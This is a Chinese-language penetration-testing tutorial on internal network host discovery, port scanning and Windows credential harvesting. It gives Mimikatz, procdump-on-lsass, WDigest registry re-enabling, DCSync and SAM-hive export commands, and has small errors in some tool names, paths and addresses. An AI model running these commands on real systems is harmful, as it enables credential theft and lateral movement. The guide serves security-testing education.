内网资源探测
在内网渗透中,测试人员往往需要通过各种内网扫描技术来探测内网资源的情况,为后续的横向渗透做准备,通常需要发现内网存活的主机,并探测主机的操作系统、主机开放了哪些端口、端口上运行了哪些服务、服务的当前版本是否存在已知漏洞等信息。这些信息可以帮助测试人员发现内网的薄弱资源,确定后续的攻击方向。
发现内网存活主机
基于ICMP发现存活主机
可以使用ICMP循环对整个网段中的每个IP地址执行ping命令,所以能够ping通的ip地址即为内网中存活的主机。
plain
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I |findstr "TTL="
说明该局域网C段存活三台主机。
基于NetBIOS(网络基本输入/输出系统)协议发现存活主机
NetBIOS提供OSI/RM的会话层(在TCP/IP模型中包含在应用层中)服务,让不同计算机上运行的不同程序可以在局域网中互相连接和共享数据。严格来说,NetBIOS不是一种协议,而是一种应用程序接口(Application Program Interface,API)。几乎所有局域网都是在NetBIOS协议的基础上工作的,操作系统可以利用WTNS服务、广播、Lmhost文件等模式将NetBIOS名解析为相应的IP地址。NetBIOS的工作流程就是正常的机器名解析、查询、应答的过程。在Windows中,默认安装TCP/IP后会自动安装NetBIOS。
在实际利用时,向局域网的每个IP地址发送NetBIOS状态查询,可以获得主机名、MAC地址等信息。NBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。NBTScan可以对给定IP范围内的每个IP地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,会列出它的P地址、NetBIOS计算机名、登录用户名和MAC地址。
下载链接:nbtscan下载
将nbscan.exe上传到目标主机,执行以下命令:
plain
nbscan.exe 192.168.52.1/24
基于UDP发现存活主机
在实际利用中,可以将一个空的UDP报文发送到目标主机的特定端口,如果目标主机的端口是关闭的,UDP探测就马上得到一个ICMP端口无法到达的回应报文,这意味着该主机正在运行。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。
Unicornscan是Kali Linux平台的一款信息收集工具,提供了网络扫描功能。执行以下命令,通过UDP协议扫描内网的存活主机。
plain
unicornscan -mU 192.168.52.0/24
基于ARP发现存活主机
ARP(Address Resolution Protocol,地址解析协议)是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议,用于网络层通信。主机发送信息时,将包含目标IP地址的ARP请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后,将该P地址和物理地址存入本机ARP缓存,并保留一定时间,下次请求时直接查询ARP缓存,以节约资源。
在实际利用中,可以向网络发送一个ARP请求,若目标主机处于活跃状态,则其一定会回应一个ARP响应,否则不会做出任何回应。
1、ARP-Scan的使用
ARP-Scan是一款快速、便捷的内网扫描工具,利用ARP发现内网中存活的主机。将工具上传到目标主机。
项目:https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan
执行以下命令,即可扫描内网中存活的主机。
plain
arp-scan.exe -t 192.168.52.0/24
2、PowerShell的利用
脚本地址:git/Invoke-ARPScan.ps1 at master · sinmygit/git · GitHub
Empire渗透框架的Invoke-ARPScan.psl脚本可利用ARP发现内网存活主机。使用时,需要将脚本导入执行:
plain
Import-Module .\Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 192.168.52.0/24
发现无法执行脚本,以管理员的身份打开powershell。执行以下命令:
plain
set-ExecutionPolicy RemoteSigned
更改策略之后就不会报错了。
基于SMB(Server Message Block,服务器消息块)协议发现存活主机
SMB又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139或445端口,目前倾向于使用445端口。
在实际利用中,可以探测局域网中存在的SMB服务,从而发现更多的存活主机。多用于windows主机的发现。
CrackMapExec(简称CME)是一款十分强大的后渗透利用工具,在Kali Linux上可以直接使用apt-get命令进行安装。CrackMapExec能够枚举登录用户、枚举SMB服务列表、执行WNRM攻击等功能,可以帮助测试人员自动化评估大型域网络的安全性。执行以下命令:
plain
crackmapexec smb 193.168.52.0/24
探测局域网中存在的SMB服务,从而发现内网中的存活主机。
内网端口扫描
1、使用telnet探测端口
Telnet是进行远程登录的标准协议和主要方式,为用户提供了在本地计算机上完成远程主机工作的能力。telnet命令可以简单测试指定的端口号是正常打开还是关闭状态。
plain
telnet <IP> <Port>
像这种就是说明对应的端口是开放的。
2、使用nmap进行端口扫描
扫描指定端口:
plain
nmap -p <Port> <ip>
eg:nmap -p 80,88,135,139,443,8080,3306,3389 192.168.52.138
扫描目标主机全部开发端口:
plain
nmap -p 1-65535 -sS 192.168.52.138
利用MetaSploit探测内网
获取端口Banner信息
Banner中可能包含一些敏感信息。通过查看端口的Banner,测试人员往往可以获取软件开发商、软件名称、服务类型、版本号等信息,根据不同的服务,可以制订不同的攻击方案,而服务的版本号有时会存在公开的漏洞可以被利用。
1、利用Netcat(nc)获取端口Banner
通过指定netcat的"nv"选项,可以在连接指定的端口时获取该端口的Banner信息。
plain
nc -nv <ip> <port>
我这里的是没有这个提示,但是有些端口可能会有。
2、利用Telnet获取端口Banner
如果端口开放,使用telnet连接后,也会返回相应的Banner信息。
plain
telnet <IP> <Port>
3、利用nmap获取端口Banner
在nmap中指定脚本"--script=banner",可以在端口扫描过程中获取端口的Banner信息。
plain
nmap --script=banner -p <ports> <IP>
用户凭据收集
当测试人员获取某台机器后,会以被攻陷的主机为跳板进行横向渗透,进一步扩大所掌控的资源范围。但是横向渗透中的很多攻击都需要先获取到域内用户的密码或者哈希值才能进行,如:哈希传递攻击、票据传递攻击等。所以在进行信息收集时,要尽可能收集域内用户的登录凭据等信息。
获取域内单机密码和哈希值
SAM文件是什么?lsass.exe系统进程的作用?
在Windows中,**SAM文件是Windows用户的账户数据库,位于系统的%SystemRoot%\System3\Config目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。**用户输入密码登录时,用户输入的明文密码被转换为哈希值,然后与SAM文件中的哈希值对比,若相同,则认证成功。**lsass.exe是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。**在通常情况下,用户输入密码登录后,登录的域名、用户名和登录凭据等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigest和Tspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。
用于获取主机的用户密码和哈希值的工具大多都是通过多去SAM文件或者访问lsass.exe进程的内存数据等操作实现的。这些操作大多都需要管理员权限,意味着需要配合一些提权操作。
Mimikatz工具的使用
Mimikatz是一款功能强大的凭据转储开源程序,可以帮助测试人员提升进程权限、注入进程、读取进程内存等,广泛用于内网渗透测试领域
项目地址:https://github.com/gentilkiwi/mimikatz/
Mimikatz使用教程
privilege(提权相关模块)
attention:privilege::debug进入mimikatz命令交互界面的首要操作,也是最基本的操作。
plain
privilege::security //调整为安全权限
privilege::restore //恢复原来权限
privilege::sysenv //调整为系统环境权限
privilege::driver //调整为装载驱动权限
sekurlsa(与用户凭证相关的模块,可以从lsass进程中提取passwords、keys、tickets等信息)
plain
sekurlsa::msv //读取用户对应密码的各种加密协议的密文(NTML、SHA1等),低版本windows可以读取为明文
sekurlsa::wdigest //wdigest凭证,运用程序漏洞可逆的手法去读取密码明文
sekurlsa::tspkg //tspkg凭证
sekurlsa::logonpasswords //常用并重点使用!!!直接集成上面多条指令功能,读取用户各种凭证和信息。
sekurlsa::tickets //列出kerberos中的票据
sekurlsa::tickets /export //导出票据
#下面两条命令结合使用,可以将转储的lsass进程为lsass.dmp文件,离线读取内存信息
sekurlsa::minidump <filename>或lsass.dump //加载对应文件(lsass.dump)
sekurlsa::logonPasswords full //读取文件信息
kerberos 协议相关模块(常用于 黄金/白银票据)
plain
kerberos::list //列出系统中的所有票据
kerberos::purge //清除系统中的票据
kerberos::ptt //pass-the-ticket,票据传递攻击(内网横移操作)
kerberos::golden //伪造黄金和白银票据使用,具体构造方法不相同
kerberos::ptc //票据路径
kerberos::ptc <票据名> //导入票据
process(进程模块)
plain
process::list //列出进程列表
process::exports //导出进程列表
process::start //开始一个进程
process::stop //停止一个进程
service(服务管理模块)
plain
service::start //开始服务。
service::remove //移除服务。
service::stop //停止服务。
service::suspend //暂停服务。
service::resume //恢复服务。
service::preshutdown //关闭服务。
service::shutdown //关闭服务。
service::list //列出服务。
lsadump(对域控操作模块)
plain
Lsadump::secrets //从registry获取保存的密码凭据,可以直接获取明文密码。
lsadump::lsa /patch //读取所有用户的哈希
lsadump::sam //sam表获取Hash
lsadump::dcsync //通过dcsync利用目录复制服务(DRS)从NTDS.DIT文件中拿到密码哈希值(在域控权限下获取)
lsadump::dcsync /domain:xxxx.com /user:xxxx //查看域内指定用户信息,包括NTLM哈希等
lsadump::dcsync /domain:xxxx.com /all /csv //查看所有域用户
1、在线读取lsass进程内存
上传mimikatz.exe到目标主机之后。
plain
mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit
2、离线读取lsass内存文件
mimikatz无法上传到目标主机,可以使用Procdump工具进行进程离线存储成dmp文件。
项目地址:https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
首先在目标主机上传Prodump程序(微软的不会杀掉),执行以下命令:
plain
procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后在攻击机上执行一下命令:
plain
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
注意:微软在2014年5月发布了KB2871997补丁,关闭了WDigest功能,禁止从内存中获取明文密码,且Windows Server20l2及以上版本默认关闭WDigest功能。但是测试人员通过修改注册表,可以重新开启WDigest功能。当用户注销或者重新登录后,就可以重新获取到用户的明文密码。
开启WDigest
plain
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
关闭WDigest
plain
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
在线读取本地SAM文件
将mimikatz.exe上传到目标主机后执行以下命令:
plain
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
token::elevate------------用于提升至SYSTEM权限
读取SAM文件中保存的用户登录凭据,可以导出当前系统重所有本地用户的哈希值。
离线读取本地的SAM文件
离线读取就是将SAM文件导出,使用Mimikatz加载并读取其中的用户登录凭据等信息。注意,为了提高SAM文件的安全性以防止离线破解,Windows会对SAM文件使用密钥进行加密,这个密钥存储在SYSTEM文件中,与SAM文件位于相同目录下。
在目标主机上导出SAM和SYSTEM两个文件。因为系统在运行时,这两个文件是被锁定的,所以需要借助一些工具来实现,而PowerSploit项目中提供的Invoke-NinjaCopy.ps1脚本可以完成这项工作。
脚本地址:PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1 at master · PowerShellMafia/PowerSploit · GitHub
plain
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination C:\Temp\SAM
也可以在管理员权限下执行命令:通过保存注册表的方式导出
plain
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
然后将导出的SAM和SYSTEM文件复制到本地,使用Mimikatz加载并读取SAM中的用户凭据信息
plain
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit